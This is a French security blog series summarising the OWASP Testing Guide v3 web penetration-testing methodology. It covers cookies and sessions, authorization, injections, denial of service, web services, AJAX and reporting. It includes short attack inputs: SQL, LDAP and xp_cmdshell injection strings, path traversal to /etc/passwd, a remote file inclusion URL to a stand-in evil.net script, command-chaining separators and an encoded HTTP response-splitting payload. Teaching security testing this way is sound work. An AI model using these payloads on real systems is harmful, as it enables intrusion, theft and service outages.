http://www.secuobs.com Observatoire de la securite Internet fr webmaster@secuobs.com 2009-03-22 13:24:02 - MISSION Security : Nous y sommes La dernière étape avec la fin de notre aventure sur laméthodologie OWASP Après avoir vu un grand nombre de points àcontrôler - de la collecte d'information à l'exploitation d'injections- il ne nous reste plus qu'à voir les attaques possibles sur AJAX Jefinirai par un résumé très rapide sur la vision de la norme pour lapartie "post-pentest"1 - Avant-proposDixième épisode Hé oui, nous y voilà Il synthétise la section 411de la norme J'irai très vite car je ne suis pas un expert AJAX ;Mais il me fallait être exhaustif en abordant tous les chapitre de laméthodo Pour finir, je décrirais brièvement la partie 5 de l'OWASP àpropos de du travail d'un pentester une fois les tests réalisés2 - Phase de tests actifs 9 - tests sur les applications AJAXAJ-001 - Les vulnérabilités d'AJAXNotre démarche consiste dans un premier temps à explorer lesvulnérabilités potentielles sur les applications AJAX ou du moins, decontrôler qu'il n'y a pas de faille exploitable par un attaquant Pours'en assurer, nous devons couvrir un champ assez large de recherchecar ies applis AJAX sont concernées par de nombreux vecteurs d'attaque: * Les attaques de type injection cf épisode 7 : ex ; SQL / XSS/CSRF ;* Les dénis de services cf épisode 8 ;* Attaque côté client navigateur Surveiller les nouvelles failles ex : wwwsecurityfocuscomAJ-002 - Tests sur les applications AJAXIl n'y a pas de méthode précise ici mais nous donnerons quelquespistes La première est de travailler avec un proxy local ex : parosComme pour tout type d'application WEB, ce genre d'outil nous permetsouvent de trouver "ce qui cloche" Du moins, cela nous permet demieux comprendre l'applicationLa deuxième piste est de trouver les erreurs ou les lacunes dans lecode JavaScript Cette fois, nous pourrons utiliser une extension deFirefox comme Firebug L'objectif est de trouver les failles dans lecode qui nous permettront de réaliser des injections3 - Après les tests La réalisation des tests constituent le coeur de la prestation d'untest d'intrusion d'une application WEB Cependant, le résultat final,c'est le rapport31 - Étude des failleCependant, le résultat final, c'est le rapport L'OWASP propose sixétapes pour étudier une faille :Étape 1 : Description et identification du risque pour la failletrouvéePar exemple, atteinte à l'image de la compagnie, pertes financières,etcÉtape 2 : Estimation de la probabilitéEst-il envisageable qu'une telle attaque se produise Si oui, dansquelle mesure Par exemple, s'il existe un gain financier à la clé,un attaquant sera plus motivé à attaquer la cible en questionDeuxième cas : imaginons une attaque distante Si la compagnie a biensécurisé les accès extérieurs avec pare-feu correctement configuré etplateforme de protection WEB, l'attaque aura moins de chance desuccèsÉtape 3 : Estimation de l'impact sur l'entrepriseLes risques identifiés doivent être évalué Nous apportons uncoefficient différent selon que une ou plusieurs personnes peuventêtre touchées par l'exploitation de la faille étudiée Les impactsfinanciers consistent-ils en une perte d'une journée de production oud'une durée plus longue Étape 4 : Estimation de la sévérité du risquesévérité risque = probabilité d'exploit étape 2 * impact étape3Nous obtenons une criticité de "Faible" à "Critique"Étape 5 : RecommandationsIl est temps ici d'apporter les solutions pour corriger les faillesLes recommandations devront tenir compte du contexte du client afinqu'elles puissent être réaliséesÉtape 6 : PersonnalisationL'idée est ici d'affiner l'étude en donnant un point de vuepersonnaliser pour le client : des solutions adaptées au secteur, auxbesoins et à l'évolution de l'entreprise32 - Écriture du rapportNous découpons le rapport en trois points :* une partie destinée aux managers avec une synthèse des tests ;* une partie technique pour les équipes opérationnelles ;* la réalisation des tests proprement dite en tenant compte dutravail effectué en 31Conclusion / En résuméPour conclure sur les dix posts à propos de la méthodologie OWAP, jedirai qu'il s'agit pour moi de la seule norme éprouvée dédiée auxapplications WEB Elle a l'avantage de traiter tous les types de testsles plus communs ex : injections et les tests attraits aux nouvellestechnologies WEB ex : application AJAX Ensuite, elle aborde tousces sujets d'une manière très technique partie 4 du document maisaussi les parties environnantes pour proposer un test d'intrusioncomplet contexte des tests, évaluation des résultats, écriture d'unrapportBref, un fil conducteur très intéressant pour qui souhaite mener untest d'intrusion d'application WEB de manière rigoureuseIMAGEhttp://www.secuobs.com/revue/news/73492.shtmlhttp://www.secuobs.com/revue/news/73492.shtml Secuobs.com : 2009-03-19 23:32:31 - MISSION Security - A grand pas, nous arrivons à la fin de notre étude sur la méthodologieOWASP Dans ce neuvième épisode, nous traitons des Web Services Minede rien, c'est fou tout ce qu'ils peuvent nous permettre de faire Mais comme toujours, tout dépend de la sécurité de leurimplémentation Alors, prêt à tester 1 - Avant-proposDans la norme OWASP, il s'agit de la section 410 Nommée Web ServicesTesting - WS, elle aborde les grands axes d'attaques des services enquestion de leur découverte à leur exploitation en sept points21 - Collecte d'information sur les Web ServicesSi nous ne connaissons pas la localisation des Web Services sur leserveur WEB hôte et que celle-ci n'est pas triviale, il nous faudra latrouver Pour cela, plusieurs moyens s'offrent à nous :* grâce à notre ami Google avec un requête du type :inurl:wsdl site:nom_cible* grâce à des sites de recensements de Web Services comme seekdacom,wsindexorg ou soapclientcomSinon, nous pouvons tenter de les trouver avec les chemins, nom etextensions bien connus Pour cela, prendre les URLs connues et ajoutercombiner :* /services/* nom_services* wsdl, uddi, disco, etc Essayer aussi en les précédant d'un ""22 - Tests des WSDLUne fois repérés les WSDLs, nous aurons accès à leur description Cequi nous intéresse alors, ce sont :* les noms des opérations avec éventuellement leurs paramètres ;* les URLs et/ou adresses IP fournies adresses externes ou internesPour cela, deux outils peuvent nous être utilise : WebScarab enversion complète et WSDigger23 - Structure des fichiers XMLLa description des WSDL est enregistrée au format XML Le présentparagraphe s'attache à la bonne constitution de ces fichiers XML Pourcela, nous allons vérifier les points suivants :* Le fichier est-il correctement formé Les balises sont-ellescorrectement fermées * Des éléments permettent-ils d'injecter des données larges * Des éléments permettent-ils d'injecter des binaireséventuellement en base64 * Des éléments permettent-ils de lancer des injections malicieusesvoir Épisode 8 24 - Attaque XML Content-LevelSuite à l'analyse effectuée dans l'étape précédente, nous allonstenter d'exploiter les vulnérabilités potentielles repérées Le butest de s'amuser avec les paramètres et de les transformer à notreguise pour tester le comportement du serveur et/ ou de mener desattaques Cela suppose néanmoins de pouvoir intéragir avec les WSDLNous allons illustrer nos propos avec le screenshot suivant avecWebScarab :Pour commencer, nous choisissons le WSDL que nous voulons tester WSDL: Puis, on choisit l'opération qui nous intéresse 1 Ensuite, Onchange la valeur du paramètre souhaité 2 Nous chargeons l'outil decréer la requête SOAP associée en cliquant simplement sur "Execute"3 Le résultat est fourni en 425 - Requête HTTP GETCette fois, nous tentons de modifier les paramètres via l'URLdirectement indirectement, notre but est d'agir sur le WSDL Alors,dans les paramètres, nous modifierons les valeurs fournies dans lesrequêtes en GET ou mieux, d'exécuter des commandes précédées duséparateur approprié eg et ' ; ou | Par exemple, la commandepourrait être lancée par la procédure masterxp_cmdshell d'un MSSQL :' exec masterxp_cmdshell + commande26 - Requête SOAP avec attachementUn peu plus complexe que l'étape 24, il s'agit ici de forger unerequête SOAP aussi à destination du WSDL cible à la différence prèsque nous cherchons à incorporer un attachement dans la requêteL'objectif est - par exemple - d'uploader sur le serveur WEB unprogramme nous permettant de prendre la main Comme le suggère laméthodologie, le test peut consister en un test EICAR27 - Attaque de rejeuNous travaillons cette fois en local et après avoir lancé une attaquede type MItM Alors, notre but est de récupérer les éléments validesd'une session credentials, cookie, etc pour pouvoir nousapproprier les requêtes passées par d'autres utilisateurs en lesrejouant Nous aurons besoin d'outils pour sniffer le trafic ex :wireshark + TCPReplay et/ou WebscarabIMAGEhttp://www.secuobs.com/revue/news/72874.shtmlhttp://www.secuobs.com/revue/news/72874.shtml Secuobs.com : 2009-03-18 23:01:59 - MISSION Security - Nous continuons sur notre lancée pour aborder le huitième épisode sur laméthodologie OWASP Il s'agit ici de traiter des dénis de serviceRarement demandé lors d'un pentest, des effets pourtant ravageurs encas de succès 1 - Avant-proposCe chapitre correspond à la section 49 de la norme, nommé Denial ofService Testing - DS Puisque nous parlons de déni de service, lesattaques correspondantes ne devront être lancées que si elles sontexplicitement demandées En effet, la compagnie demandeuse estrarement prête à prendre le risque de voir tomber sa prod' Cependant,les tests peuvent se dérouler sur un environnement de test ou leclient peut très bien être intéressé par des tests exhaustifs ou lesdénis de services ont largement leur place2 - Phase de tests actifs 6 - tests sur les dénis de service21 - DS-001 : Attaque DoS basées sur les "wilcard characters"Les "wildcard characters" sont les caractères spéciaux qui remplacentplusieurs caractères ou une chaînes Par exemple, le caractère "*"peut remplacer toutes les chaînes Le but est de les utiliser pourforcer la base de données cible à chercher le plus longtemps possiblepour répondre à notre requête Voici quelques règles à suivre :* La requête doit demander un élément inexistant ou très rare dansun champ de recherche très large ;* Utiliser de longues et complexes requêtes avec des "wildcardcharacters" ;* Commencer et terminer la requête par un "%" pour le LIKEL'objet de cette attaque et de rendre la BDD inutilisable ou du moinstrès ralentie22 - DS-002 : Bloquer les comptes utilisateurGénéralement, un seuil est imposé pour le nombre d'essais autoriséspour se connecter avec un compte Cela évite notamment les attaques detype "brute force" Cependant, une fois la totalité des essaisépuisée, le compte est bloqué pendant une durée indétermminée Nousavons deux cas :* Nous connaissons le login des comptes à bloquer Dans ce cas,tenter au moins 15 essais jusqu'à blocage du compte ;* Nous ne connaissons pas de login Alors, il nous faut les trouvergrâce :* aux messages et pages d'erreur fournis à partir de la page delogin point déjà traité ;* à la page de création de compte en tentant de créer unutilisateur déjà existant ;* à la page permettant de recouvrer son mot de passe point déjàtraité23 - DS-003 : DoS basés sur des attaques de type "Buffer Overflow"Nous avons déjà abordé le sujet des "buffer overflow" dans l'épisodeprécédent La différence est qu'ici, le but est de simplement rendreinacessible un service Par exemple, nous pourrons le vérifier si unepage ou une fonctionnalité n'est plus disponible suite à notreattaque24 - DS-004 : DoS sur l'allocation d'objetParmi les actions permises pour l'utilisateur, ce dernier peut parfois- directement ou non - créer des instances d'un objet quelconquepropriété, caractéristique, entrée dans un base, etc Pourillustration, au niveau du code, la création d'un objet se fera avecun new25 - DS-005 : Utilisation d'une boucleLes codeurs utilisent souvent des boucles dans leurs programmes Siune boucle est localisée ou supposée, l'utilisateur pourra tenter dedépasser les limites d'une boucle ex : dans le cas d'une boucle forou de lancer une boucle infinie ex : avec une boucle while26 - DS-006 : Saturation d'un disqueSi la gestion des logs n'est pas sécurisée, il peut arriver que denombreux logs soient enregistrés Aussi, il est possible que le disqueaccueillant les logs n'ait pas un espace suffisant Alors, le but del'attaquant sera de générer un maximum de logs pour mettre en d'usagele système de log Cette attaque se fera généralement à l'aide descripts automatiques ou de requêtes coûteuses en espace disque27 - DS-007 : Saturation des ressourcesLes ressources créées sur le serveur demandent des ressources diversesdisque, CPU, mémoire vive, et/ou réseau Si elles ne sont pasfermées ou réallouée correctement, elles s'accumulent et peuventprovoquer une surcharge quelconque Par exemple, nous pouvons avoir :* des fichiers mal fermés qui sont lockés ;* des ressources accumulées qui demandent une mémoire vive tropimportante par rapport aux capacités du serveur ;* des connections toujours actives sur un BDD jusqu'à atteindre leseuil autorisé ex : 15 connexions simultanées28 - DS-008 : Saturation d'une sessionIci, nous tentons de stocker un maximum de données dans une sessionAussi, il peut s'agir de créer un maximum de session pour surchargerle serveur Idéalement, nous combinerons les deux Les exigences entermes de mémoire sont alors de plus en plus forte pour le serveur quifinira certainement par ne plus avoir les capacités d'assurer unetelle demandeIMAGEhttp://www.secuobs.com/revue/news/72379.shtmlhttp://www.secuobs.com/revue/news/72379.shtml Secuobs.com : 2009-03-13 10:54:36 - MISSION Security - Septième épisode de notre épopée vers la connaissance de la méthodologieOWASP Nous n'avons pourtant pas encore couvert tous les sujets, nimême les plus classiques En effet, s'il y a bien une recette quimarche à presque tous les coups en termes de pentests d'applis WEB, cesont les injections en tout genre 1 - Avant-proposL'épisode 7 traite du contrôle des données fournies en entrée par unutilisateur Data Validation Testing - DV Dans le cas d'unattaquant, il tentera d'injecter des caractères spéciaux puis du codemalicieux si le contrôle des données n'est pas efficace Le but n'estpas d'expliquer le fonctionnement de chaque type d'injection oualors, je tente la page de blog la plus longue de la toile ; mais depasser en revue les principales possibilités à la disposition d'unattaquant proposées par la norme en question2 - Phase de tests actifs 6 - tests sur les injections21 - DV-001 : XSS non persistantIl existe deux catégories d'attaque de type XSS ou Cross SiteScripting :* les XSS non persistants qui ne sont pas maintenus dansl'application, lancé en "one-shot" cf le paragraphe présent ;* les XSS persistants qui sont maintenus et pourront être rejouéspar les victimes à leur insue en consultants un page affectée parexemple sans que l'attaquant n'intervienne de nouveau cfparagraphe suivant ;* Il existe en réalité une troisième catégorie plus particulière,les attaques de type CSRF vue dans l'épisode 4Pour trouver un XSS non persistant, nous abordons la démarche suivante: * Quels sont les entrées possibles Où avons-nous une chance deréussir une telle attaque La réponse a normalement été élucidéedans l'épisode 1 ;* Phase d'analyse : tenter un XSS classique cf exemple ci-dessousEncoder la requête si nécessaire* Phase d'attaque : injecter le code souhaité ex : récupération descookies22 - DV-002 : XSS persistantLes XSS persistants sont encore plus appréciés de l'attaquantpuisqu'ils peuvent avoir des retombées après coup Une démarchesimilaire sera suivie pour injecter de tels codes :* Trouver un moyen d'"enregistrer" votre XSS formulaire, page deprofil, page de configuration, etc ;* Analyser le code HTML de la page pour y trouver le champvulnérable ;* Tester avec un XSS classique un autre exemple est fournici-dessous* Injecter le code qui sera exécuter lorsque la page infectée seraconsultée manuellement ou automatiquement ex : par unemoulinette Il est aussi possible d'utiliser des outilsd'exploitation un prochain post 23 - DV-003 : DOM Based XSSEn boîte grise, ce test consiste à* trouver dans le code les fonctions potentiellement injectables ex: documentlocation, documenturl, ;* tenter l'attaque :* ex1 : concaténer le caractère # suivi du code malicieuxjavascript dans l'URL ;* ex2 : essayer le code XSS à la place des valeurs des paramètresJe vous invite à voir le document d'Amit KLEIN pour plus d'info sur cesujet24 - DV-004 : Cross Site FlashingNous testons ici la sécurité des animations flashs :* Dans un premier temps, récupérer le *swf avec un simple wget ;* Puis, utiliser flare pour le décompiler ;* Trouver les méthodes potentiellement dangereuses ex :loadVariables, getURL, etc ;* Injecter le code malicieux ex : javascript:code_malicieuxPour n'en citer qu'un seul, il existe un outil pour auditer ce genred'animation : SWFIntruder25 - DV-005 : injections SQLLà, on s'attaque à un très gros morceaux La norme prend l'ampleur dusujet en traitant les bases de données les plus connues MySQL,Oracle, MS SQL, Access, PostgreSQL Nous n'abordons ici que leprincipe très très très général* L'attaque réussie la plupart du temps dans le champ d'unformulaire, d'un champ de recherche, d'un champ d'e-commerce ;* Tester les caractères spéciaux et chaînes qui peuvent nouspermettre de construire des requêtes SQL : ' ; - AND OR /** Lancer des injections SQL en devinant les requêtes sous-jacentesex : 1' or '1'='126 - DV-006 : injections LDAPLes bases LDAP renferment des informations souvent aussi sensibles quecelles que l'on aurait pu récupérées dans les bases de donnéesvulnérables cf paragraphe précédent Concrétement, les attaquesvont généralement se réaliser de la manière suivante :utiliser le caractère * à la place des valeurs légitimes pour affichertous les résultats ;essayer les caractères | et , * pour provoquer des erreurs et obtenirdes informations ;pour l'authentification, il existe des attaques plus complexesexemple ci-dessoususername = *uid=*|uid=*password = nimportequoi27 - DV-007 : injections ORML'ORM ajoute une couche intermédiare entre la base de données etl'application WEB Cependant, il n'est pas exempt de vulnérabilitéAussi, comme toute solution, elle n'est efficace que si elle estconfigurée correctement Sinon, son effet peut être inverse Le butde cette phase est donc :* de s'assurer que l'ORM ne comporte pas de faille, ni de défaut deconfiguration ;* de tester les attaques d'injections seront similaires à cellesdéjà évoquées en DV-005 ;* en cas de test en mode boîte grise/blanche, d'étudier le code quipourra certainement révéler de nouvelles failles28 - DV-008 : injections XMLLe format XML est aujourd'hui très répandu pour transporter lesinformations entre l'IHM et la base de données Il est donc fréquentde rencontrer ce format lors d'un pentest Une nouvelle piste pourl'audit * Tester les caractères spéciaux acceptés et susceptiblesd'intervenir pour une injection : ' " et* Connaître la structure de la base de données Est-il possible delire la DTD Si oui, repérer les noms de champ intéressants Utiliser le type Entity avec le caractère et ;* Tester un Tag injection en insérant des tags malicieux dans leschamps vulnérablesEn tant qu'exemple, nous prenons un champ qui ajoute un utilisateurdans la BDD Nous allons en ajouter deux de la manière suivante :Deuxième exemple : nous ajoutons une propriété supplémentaire à notreutilisateur :29 - DV-009 : injections SSISSI pour "Server Side Includes" permet d'obtenir du code dynamiquedans ses pages HTML Quelles sont les pages vulnérables En générale,les pages dont l'extension est *shtml mais pas forcément Alorscomment le savoir Encore une fois, tester la réaction du serveurface aux caractères spéciaux : Puis à l'attaque Voici un exemple ci-dessous :210 - DV-010 : injections XPATHXPATH est le langage qui sert à interpréter des fichiers XML Lesattaques vont être très similaires à une injection SQL :* Comment tester Tenter le caractère ' Cela provoque-t-il uneerreur intéressante * Tester une injection SQL classique cf DV-005 pour avoir desexemples plus que classique :* Adapter l'attaque si on a connaissance du code XML associé* De la même façon que pour SQL, nous pouvons tenter une attaque enaveugle211 - DV-011 : injections IMAP/SMTPBon, il n'est pas nécessaire de présenter les protocoles IMAP et SMTPmais connaissez-vous les attaques possibles sur ces protocoles entermes d'injection * Injection dans l'URL : modifier un paramètre en lui donnant unevaleur nulle, aléatoire ou contenant un caractère spécial Vouspouvez aussi modifier le nom du paramètre ou carrément lemodifier A travers ces différents tests, vous connaîtrez mieux lecomportement du serveur de messagerie* Compléter votre connaissance en générant des erreurs sur lesparamètres et valeurs vulnérables d'après le premier point Le butest de connaître les flux et structures intéressant de laméssagerie* Tester les injections sans être connecté ex : utilisez lescommandes IMAP puis en l'étant si vous disposez d'un compte ex :utilisez les caractères CRLF au bon endroit du mail qui n'est pasconstitué que du corps de message 212 - DV-012 : injections de codeDans l'URL, il est parfois possible de lancer des commandes enmodifiant les paramètres avec du code malicieux encodé En boîtegrise, nous chercherons les parties de code ou fonction qui autorised'entrée du code et qui, surtout, accepte des injections permettantl'exécution de code sur le serveur hôte ex : un simple ls213 - DV-013 : OS CommandingIntéragir avec le serveur hôte est un grand pas dans notre phased'attaque Les méthodes les plus classiques consistent à enchaîner desintructions malicieuses à des instructions légitimes En général, celarevient à ajouter :* et suivi de la commande Windows ;* ; suivi de la commande Linux ;* | suivi de la commande214 - DV-014 : Buffer OverflowBon bah là, pour résumer en moins de cent lignes, je sais pas faire ;Il faut savoir que la norme prend en considérations les trois typesd'attaques suivants : Heap overflow, Stack overflow et String AttackPour la démarche, je vais énormément simplifier mais grossièrement :* On injecte une chaîne trop grande ;* On repère l'octet où on pourra injecter une adresse qui redirigevers notre code malicieux ;* Dans le cas d'une string attack, on utilisera les chaînessuivantes : %x, %s et %n pour tenter de corrompre l'application215 - DV-015 : Incubating VulnerabilityCette fois, nous tentons de corrompre l'application en y "déposant" uncode malicieux que nous pourrons réutiliser pour pousuivre notreattaque exemple, une backdoor ou en espérant qu'une gentille victimeactionne notre piège* Il peut s'agir tout simplement d'uploader notre code grâce à unchamp sympa ex :champ pour l'upload de fichier ;* Aussi, il peut s'agir d'XSS, injection SQL + XSS, ex : dansun forum ;* Ou encore, en profitant d'un défaut de sécurité ou deconfiguration Par exemple, on peut injecter un fichier WARmalicieux cf le post sur Jonas et JBoss 216 - DV-016 : Splitting et Smuggling attackUne splitting attack consiste à s'arranger pour envoyer deux requêtesHTTP dont une notamment qui ne devrait pas être acceptée normalementpar le serveur WEB* Utiliser le CRLF avec votre requête malicieuse Pour info, nouspouvons encoder le CRLF en %d%a * La requête toute entière doit être encodée ;* Pour compléter l'attaque, nous modifons le champs Last-modifiedavec une date dans le futur ce champ est dans l'entête de larequête HTTPPlus que des mots, un exemple ci-dessous :fr%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F11%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AConteny-Length%3A%2031%0D%0A%3CHTML%3ESuccessfully%20Hacked%3C%2Fhtml%3EIMAGEhttp://www.secuobs.com/revue/news/70770.shtmlhttp://www.secuobs.com/revue/news/70770.shtml Secuobs.com : 2009-02-25 13:53:53 - MISSION Security - Ce nouvel épisode est la suite de notre étude de la nouvelle version dela norme OWASP Le but est de pratiquer les tests d'intrusion demanière méthodologique et aussi, de donner de nouvelles idéesParticulièrement, ce sixième épisode s'attache aux spécificitésmétiers de l'application cible1 - Avant-proposLe sixième épisode que nous traitons ici représente le cinquièmechapitre de tests actifs après un premier chapitre de découverte Dansla norme OWASP v3, il s'agit du chapitre 47 relatif aux tests del'application WEB cible et notamment les fonctions métiers qui peuventêtre sujettes à des problèmes de sécurité2 - Phase de tests actifs 5 - tests sur les fonctionnalités métiers21 - BL-001 : Tests des fonctionnalités métiersPuisque chaque application est différentes, il n'existe pas de testsparticuliers que nous pouvons fournir de manière certaine Cependant,une démarche précise est proposée pour couvrir au mieux l'applicationet tenter de trouver les failles de sécurité éventuelles1/ Comprendre l'application :Il s'agit ici de connaître les possibilités offertes parl'application Pour cela, l'auditeur pourra s'aider de ladocumentation disponible test en boîte blanche et de sa propreexploration de l'application en navigant sur les différentes pages Ilest important de noter à cette étape :* les limites rencontrées que nous essaierons ensuite decontourner ;* les différentes manières de réaliser certaines actions notammentles actions les plus importantesCette première étape nous fournit un aperçu de l'application et nospremières pistes2/ Etablir les scénario de tests :Nous prenons ici en compte tous les cas possibles que nous devronscroiser entre eux pour être exhaustif Les cas en questions sont :* les fonctionnalités principales recherche d'un produit, commanded'un produit, ;* le circuit de validation d'une action ex : de la commande à lavalidation d'un achat ;* les différents rôles intervenant sur l'application eg del'administrateur au directeur ;* les différents services service IT, marketing, ;* les droits et privilèges accordés à chacun et à vérifierCes cinq éléments doivent nous permettre de constituer un tableau avecl'ensemble des actions permises pour chaque niveau d'utilisateur3/ Préparation des testsSuite à l'étape précédente, nous devons déterminer ici le ou lestests à réaliser en conséquence pour nous assurer que l'applicationest correctement cloisonnée par type d'intervenant et par actionPar conséquent, à l'issue de cette troisième étape, un nouveau tableausera créé contenant les tests résultants de l'étape précédente Nousnous appuierons donc largement sur le précédent tableau4/ Obtention des pré-requisMaintenant que les tests à réaliser sont connus, il est temps dedemander au client les ressources nécessaires à leur réalisation Laplupart du temps, il s'agira de comptes avec des niveaux de privilègesdifférents Aussi, il peut s'agir d'URL d'administration pour lescomptes les plus privilégiés Il est préférable de commencer avec uncompte standard et de demander les ressources au fur et à mesure pourne pas influencer les testsPar exemple, est-il possible de trouver et d'accéder à l'interfaced'administration avec un compte standard sans information préalable 5/ Exécution des testsL'exécution des tests issus du tableau déterminé en 3/ considérera laplupart du temps :* l'analyse des requêtes HTTP ;* les protections apportées ou non aux flux et données eg chiffrement ;* la récupération d'erreur lorsque nous testons des valeurs limitesou hors range ex : valeur négative ou très importante pour unesomme ;* la recherche d'information cachée dans le traitement des actions;* la modification de données en cours d'action ;* le contournement d'une ou plusieurs étapes de validation ;* etcA vous de jouer La suite au prochain épisodehttp://www.secuobs.com/revue/news/65060.shtmlhttp://www.secuobs.com/revue/news/65060.shtml Secuobs.com : 2009-02-24 15:40:17 - MISSION Security - Ce post traite la quatrième phase des tests actifs Ils sont relatifs àl'autorisation sur les ressources utilisateurs, fichiers, données,etc gérées par l'application WEB testée Le but des attaquesprésentées est de trouver l'accès à des ressources protégées ou deréaliser une escalade de privilèges1 - Avant-proposNous continuons notre aventure à la découverte de la norme OWASP v3dans ce cinquième épisode De nom originel "Authorization Testing", ils'agit du chapitre 46 de la norme A noter que cette partie abordeplus des points d'attaque que des attaques précises En effet, uneescalade de privilège suit rarement un acheminement précis sauf dansle cas d'un exploit existant qui entre dans le cadre d'unevulnérabilité trouvée2 - Phase de tests actifs 4 - tests sur les autorisations21 - AZ-001 : Traverse de répertoires ou "Path Traversal"Nous allons mener cette attaque en deux étapes :1/ Rechercher les points susceptibles d'être vulnérable à une telleattaque : URL, cookie, et autres points contenant ou acceptant unpoint d'entrée généralement, avec le signe "="2/ Tester l'attaque dont voici quelques exemples :* dot dot slash attack Ex : ///etc/passwd ;* injecter une URL malicieuse dans une URL de l'application Ex :http://wwwciblephppage=http://evilnet/script_malicieux* tenter de dévoiler le code source d'une partie de l'applicationEx :http://wwwciblecom/functioncgifile=trouverez-vous-mon-code-sourcecgiDans le cas où un filtrage des caractères est mis en place, il est bonde savoir que :* / s'écrit aussi %2e%2e%2f ou encore %c0%af* s'écrit aussi %2e%2e%5c ou %252e%252e%255c ou encore %c1%9cDans le cadre d'un test en boîte grise, la méthodologie est la mêmesuivre les deux mêmes étapes La différence est que les pointsd'entrée devront être cherchés dans les fonctions spécifiques commepar exemple :* include en PHP ;* javaiofile en JSP22 - AZ-002 : Contournement des autoriationsPour cette partie, il n'existe pas de manière précise d'opérerCependant, répondre aux questions suivante en effectuant les testsassociés permettra à de savoir si les autorisations appliquées àl'application peuvent être contournées quand elles existent* Peut-on accéder à la ressource non autorisée sans être connecté Une fois déconnecté * Est-il possible d'accéder à une ressource administrative avec uncompte standard * Dans les requêtes HTTP, est-il possible de modifier certainsparamètres pour obtenir de nouveaux droits * Tester si un utilisateur qui ne devrait pas avoir accès à unecertaine ressource ne peut effectivement pas y être autorisé23 - AZ-003 : Escalade de privilègesTout d'abord, il est important de savoir qu'il existe deux typesd'escalade de privilège afin que les tests soient exhaustifs :* L'escalade horizontale : elle consiste à accéder à une ressourced'un autre utilisateur qui a les mêmes droits que nous ex : lecompte mail d'un autre utilisateur ;* L'escalade verticale : elle consiste à accéder à des ressourcesrequérant des droits supérieurs ex : des droits administrateursalors que nous n'avons qu'une compte utilisateur standardLes tests se font de la manière suivante :* commencer par trouver les champs susceptibles de permettre uneescalade de privilèges ex : un champ caché contenant un ID ou unniveau d'autorisation ;* modifier les valeurs repérées et voir le comportement del'application Est-ce que la modification nous fournit l'accès àde nouvelles ressources A des ressources demandant normalementun accès privilégié Pour que ce soit plus clair, il suffit d'imaginer par exemple que leniveau d'authentification est fourni dans le cookie :Session-ID=3-adebadbcaf85cc43+adfg32+56defc, le premier chiffre avantle tiret ici, 3 pourrait très bien représenter le niveaud'authentification Essayer donc avec "1" ou "5"La suite au prochain épisode http://www.secuobs.com/revue/news/64662.shtmlhttp://www.secuobs.com/revue/news/64662.shtml Secuobs.com : 2009-02-24 00:33:40 - MISSION Security - Nous abordons ici la troisième phase des tests actifs Ils concernent lagestion des sessions à travers les cookies De nombreux paramètrespeuvent être testés Etant donné qu'une mauvaise implémentation peutpermettre l'obtention d'une session à un attaquant, nous voyons desuite l'intérêt de ce sujet1 - Avant-proposCe post est le quatrième d'une série de dix Chaque "épisode" abordeun chapitre de la norme OWASP, version 3 Le but est de mener le testd'intrusion d'une application WEB méthodologiquement Le post présentfait référence au chapitre 45 de la norme, nommé "Session Management"Pour la partie théorique, voir l'article sur Wikipedia en anglais trèsintéressant Pour le côté pratique, il est recommandé d'effectuer tousces tests à l'aide d'un proxy local pour intercepter et rejouer lesrequêtes HTTP2 - Phase de tests actifs 3 : tests sur la gestion des sessions àtravers les cookies21 - SM-001 : Structure des cookiesCe premier point est en fait une prise d'information sur la façon dontsont créés et utilisés les cookies Mieux comprendre le fonctionnementpermet au moins de mieux préparer les attaques qui suivent et au mieuxde trouver de premières vulnérabilités1/ Ouvrir un certain nombre de sessions faisant intervenir les cookiesà analyser NB : il est possible de s'aider d'un outil comme CookieDigger pour les étapes qui suivent* Combien de cookies sont générés pour ouvrir une session Quand Comment Sont-ils modifiés dans le cadre de la session * Les cookies eux-mêmes révèlent-ils des informations intéressantes notamment le Session ID* Les données contenues dans les cookies sont-elles chiffrées Sioui, l'algorithme utilisé est-il fiable * La génération des Sessions ID est-elle prédictible ou réellementaléatoire 2/ Reverse engineering des cookies* Est-il possible de créer un cookie valide * Est-il possible de modifier un paramètre contenu dans le cookie ex : Admin=No que l'on changerait en Admin=Yes* Que se passe-t-il en cas de modification du cookie suppression/ remplacement ou ajout de caractères * Quels est l'ensemble des caractères utilisés 3/ Manipulation des cookies* L'ID est-il présent en clair * Sinon, peut-il être deviné ex : algorithme trop simple* Sinon, est-il résistant aux attaques de type Brute-Force NB :cf Cookie Digger22 - SM-002 : Les attributs des cookiesLes cookies les plus critiques doivent comporter un certain nombre deflags et ceux-ci doivent être correctement configurés :* Le flag secure impose la transmission via un tunnel chiffré commeSSL ;* Le flag HTTP-Only pour se prémunir contre certaines attaques detype XSS ;* Le flag Domain doit être présent et le plus précis possible ;* De même pour le flag Path ie différent de "/" ;* De même pour le flag expires doit être configuré pour éviter lerejeu23 - SM-003 : Fixation des cookiesAdmettons qu'un même cookie puisse être réutilisé pour ouvrir unesession, le récupérer d'une manière ou d'une autre donne un accès,voir l'accès d'un autre utilisateur* Il suffit de générer un cookie via une requête GET sur le sitecible* Ensuite, on réutilise ce cookie avec une requête POSTPar exemple, faites un GET sur le site blogspotcom :telnet wwwblogspotcom 80GET / HTTP/10Ces opérations peuvent être effectuées via un proxy local Burp, Paros,Webscarab, 24 - SM-004 : Exposition des variables cookie, session-ID, 1/ Tenter de se connecter via un session HTTP Les cookies sont-ilssystématiquement générés via un protocole chiffré e g HTTPS Lapartie authentifiante est-elle renouvelée à chaque authentification Sinon, il y a un risque de rejeu2/ La version 11 du protocole HTTP est-elle implémentée Elle permetl'interprétation de l'attribut cache avec l'argument no-cache évite laréutilisation du cookie cf image ci-dessus3/ La génération des cookies se fait-elle à travers la méthode POST Cette dernière est moins vulnérables que la méthode GET25 - SM-005 : Attaque CSRFCe post n'a pas pour ut d'expliquer cette attaque en détail mais lelecteur curieux trouvera des informations sur le site Wikipedia denouveauLe test peut être mener en cinq étapes :1/ Trouver une URL valide qui lance l'action souhaitée ex :wwwciblecom/administrative_task ;2/ Créer une page HTML contenant cette URL lien HTTP, image, ;3/ Assurez-vous que l'utilisateur est actuellement loggé àl'application et donc que sa session est ouverte ;4 / Trouvez un moyen de faire cliquer l'utilisateur sur le lien 1/présent sur votre page 2/ ;5/ Vérifier que la commande a bien été exécutéeLe but est donc que la commande que vous souhaitez exécuter le soitpar l'utilisateur lui-même avec sa session quand vous n'avez pas lesaccès nécessairesLa suite au prochain épisode 